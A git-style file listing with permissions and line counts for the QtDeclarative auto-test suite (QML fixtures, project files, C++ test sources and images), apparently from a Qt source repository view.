-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/singularProperty.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/subdir/Test.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/subdir/subsubdir/SubTest.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/test.js0
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/test2.js0
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/unregisteredObject.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/unsupportedProperty.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/valueTypes.qml13
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/variantNotify.qml13
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.1.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.10.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.11.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.12.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.13.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.14.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.15.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.16.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.2.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.3.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.4.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.5.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.6.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.7.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.8.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/wrongType.9.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qdeclarativelanguage.pro22
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/LocalInternal.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/Test.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestLocal.qml1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestNamed.qml1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/TestSubDir.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/noqmldir/Test.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/pics/blue.pngbin0 -> 84 bytes
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/SubTest.qml3
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/subdir/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/testtypes.cpp81
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/testtypes.h807
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp2028
-rw-r--r--tests/auto/declarative/qdeclarativelayoutitem/data/layoutItem.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelayoutitem/qdeclarativelayoutitem.pro13
-rw-r--r--tests/auto/declarative/qdeclarativelayoutitem/tst_qdeclarativelayoutitem.cpp125
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/data/enumerate.qml24
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/data/model.qml22
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/data/multipleroles.qml25
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/data/script.js13
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml20
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/qdeclarativelistmodel.pro17
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp1141
-rw-r--r--tests/auto/declarative/qdeclarativelistreference/data/MyType.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelistreference/data/engineTypes.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelistreference/data/variantToList.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelistreference/qdeclarativelistreference.pro8
-rw-r--r--tests/auto/declarative/qdeclarativelistreference/tst_qdeclarativelistreference.cpp579
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/attachedSignals.qml24
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/displaylist.qml50
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/footer.qml38
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/header.qml38
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/header1.qml33
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/headerfooter.qml26
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/itemlist.qml43
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listview-enforcerange.qml55
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listview-initCurrent.qml51
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listview-noCurrent.qml50
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listview-sections.qml64
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml69
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/listviewtest.qml133
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/manual-highlight.qml47
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/orientchange.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/propertychangestest.qml71
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/qtbug14821.qml31
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/qtbug16037.qml37
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/rightToLeft.qml42
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/sizelessthan1.qml26
-rw-r--r--tests/auto/declarative/qdeclarativelistview/data/strictlyenforcerange.qml29
-rw-r--r--tests/auto/declarative/qdeclarativelistview/incrementalmodel.cpp89
-rw-r--r--tests/auto/declarative/qdeclarativelistview/incrementalmodel.h68
-rw-r--r--tests/auto/declarative/qdeclarativelistview/qdeclarativelistview.pro16
-rw-r--r--tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp2837
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/AnchoredLoader.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/CreationContextLoader.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/GraphicsWidget250x250.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/NoResize.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/NoResizeGraphicsWidget.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/QTBUG_16928.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/Rect120x60.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/SetSourceComponent.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/SizeGraphicsWidgetToLoader.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/SizeLoaderToGraphicsWidget.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/SizeToItem.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/SizeToLoader.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/VmeError.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/crash.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/creationContext.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml3
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml28
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/nonItem.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml3
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml3
-rw-r--r--tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeloader/qdeclarativeloader.pro19
-rw-r--r--tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp637
-rw-r--r--tests/auto/declarative/qdeclarativemetatype/qdeclarativemetatype.pro11
-rw-r--r--tests/auto/declarative/qdeclarativemetatype/tst_qdeclarativemetatype.cpp387
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.2.qml21
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/importsMixedQmlCppPlugin.qml13
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/incorrectCase.qml4
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/pluginWithQmlFile.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/versionNotInstalled.qml6
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/works2.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/data/works21.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/MyQmlFile.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestPluginWithQmlFile/qmldir3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/Foo.qml5
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlMixedPluginType/qmldir2
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2.1/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType.2/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlVersionPluginType/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentA.qml3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/ComponentB.qml4
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/PureQmlModule/qmldir3
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/WrongCase/qmldir1
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.2.1.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2.1/plugin.cpp84
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.2.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin.2/plugin.cpp84
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.cpp83
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/plugin.cpp73
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginMixed/pluginMixed.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/plugin.cpp73
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginVersion/pluginVersion.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/plugin.cpp58
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginWithQmlFile/pluginWithQmlFile.pro9
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/plugin.cpp83
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/pluginWrongCase/pluginWrongCase.pro10
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/qdeclarativemoduleplugin.pro8
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp338
-rw-r--r--tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro15
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/clickandhold.qml13
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/clicktwice.qml16
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/doubleclick.qml16
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/dragging.qml28
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/dragproperties.qml28
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/dragreset.qml28
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml28
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/preventContextMenu.qml22
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml24
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/rejectEvent.qml28
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnClick.qml20
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/data/updateMousePosOnResize.qml38
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/qdeclarativemousearea.pro17
-rw-r--r--tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp705
-rw-r--r--tests/auto/declarative/qdeclarativeparticles/data/particle.pngbin0 -> 262 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeparticles/data/particlemotiontest.qml35
-rw-r--r--tests/auto/declarative/qdeclarativeparticles/data/particlestest.qml17
-rw-r--r--tests/auto/declarative/qdeclarativeparticles/qdeclarativeparticles.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeparticles/tst_qdeclarativeparticles.cpp219
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/closedPath.qml24
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/datamodel.qml38
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/displaypath.qml59
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/dragpath.qml19
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/emptymodel.qml5
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/openPath.qml10
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathUpdate.qml18
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathUpdateOnStartChanged.qml38
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathtest.qml14
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathview0.qml84
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathview1.qml4
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathview2.qml57
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathview3.qml59
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/pathview_package.qml88
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/propertychanges.qml116
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/treemodel.qml19
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/undefinedpath.qml17
-rw-r--r--tests/auto/declarative/qdeclarativepathview/data/vdm.qml28
-rw-r--r--tests/auto/declarative/qdeclarativepathview/qdeclarativepathview.pro16
-rw-r--r--tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp1065
-rw-r--r--tests/auto/declarative/qdeclarativepincharea/data/flickresize.qml50
-rw-r--r--tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml46
-rw-r--r--tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro16
-rw-r--r--tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp388
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/exists.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/exists1.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/exists2.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/http/exists.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/http/exists1.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/http/exists2.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/http/exists3.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/http/exists4.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/http/exists5.pngbin0 -> 2738 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/data/massive.pngbin0 -> 31834 bytes
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/qdeclarativepixmapcache.pro24
-rw-r--r--tests/auto/declarative/qdeclarativepixmapcache/tst_qdeclarativepixmapcache.cpp396
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml19
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml44
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml43
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml64
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/grid-spacing.qml41
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/grid-toptobottom.qml41
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/gridtest.qml42
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/gridzerocolumns.qml40
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml44
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml31
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml29
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/propertychangestest.qml39
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml38
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/vertical-animated.qml41
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/vertical-spacing.qml28
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/vertical.qml27
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/data/verticalqgraphicswidget.qml24
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/qdeclarativepositioners.pro15
-rw-r--r--tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp1342
-rw-r--r--tests/auto/declarative/qdeclarativeproperty/data/TestType.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeproperty/data/aliasPropertyBindings.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeproperty/data/readSynthesizedObject.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeproperty/qdeclarativeproperty.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp1494
-rw-r--r--tests/auto/declarative/qdeclarativepropertymap/qdeclarativepropertymap.pro8
-rw-r--r--tests/auto/declarative/qdeclarativepropertymap/tst_qdeclarativepropertymap.cpp223
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/atob.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/btoa.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/consoleLog.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/createComponent.qml20
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/createComponentData.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.js11
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/createComponent_lib.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml31
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/darker.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/enums.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/fontFamilies.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/formatting.qml44
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/hsla.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/isQtObject.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/lighter.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/md5.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/openUrlExternally.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.js9
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/openUrlExternally_lib.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/point.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/quit.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/rect.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/rgba.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/size.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/tint.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/vector.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeqt/qdeclarativeqt.pro18
-rw-r--r--tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp608
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/intmodel.qml29
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/itemlist.qml68
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml26
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/objlist.qml21
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/properties.qml11
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/repeater1.qml28
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/data/repeater2.qml36
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/qdeclarativerepeater.pro15
-rw-r--r--tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp736
-rw-r--r--tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml3
-rw-r--r--tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml6
-rw-r--r--tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml24
-rw-r--r--tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml13
-rw-r--r--tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro16
-rw-r--r--tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp212
-rw-r--r--tests/auto/declarative/qdeclarativespringanimation/data/springanimation1.qml4
-rw-r--r--tests/auto/declarative/qdeclarativespringanimation/data/springanimation2.qml9
-rw-r--r--tests/auto/declarative/qdeclarativespringanimation/data/springanimation3.qml8
-rw-r--r--tests/auto/declarative/qdeclarativespringanimation/qdeclarativespringanimation.pro16
-rw-r--r--tests/auto/declarative/qdeclarativespringanimation/tst_qdeclarativespringanimation.cpp136
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/ExtendedRectangle.qml19
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/Implementation/MyType.qml32
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/Implementation/images/qt-logo.pngbin0 -> 5149 bytes
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/QTBUG-14830.qml29
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml23
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml21
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml29
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml22
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml22
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorChangesCrash.qml14
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml37
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorRewindBug2.qml25
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/attachedPropertyChanges.qml20
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/autoStateAtStartupRestoreBug.qml18
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicBinding.qml12
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicBinding2.qml12
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicBinding3.qml13
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicBinding4.qml17
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicChanges.qml10
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicChanges2.qml15
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicChanges3.qml15
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicChanges4.qml19
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/basicExtension.qml16
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/deleting.qml11
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/deletingState.qml13
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/editProperties.qml34
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/explicit.qml15
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/extendsBug.qml26
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/fakeExtension.qml16
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/illegalObj.qml12
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/illegalTempState.qml21
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/image.pngbin0 -> 173 bytes
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/legalTempState.qml23
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/nonExistantProp.qml11
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/parentChange1.qml37
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/parentChange2.qml31
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/parentChange3.qml42
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/parentChange4.qml30
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/parentChange5.qml30
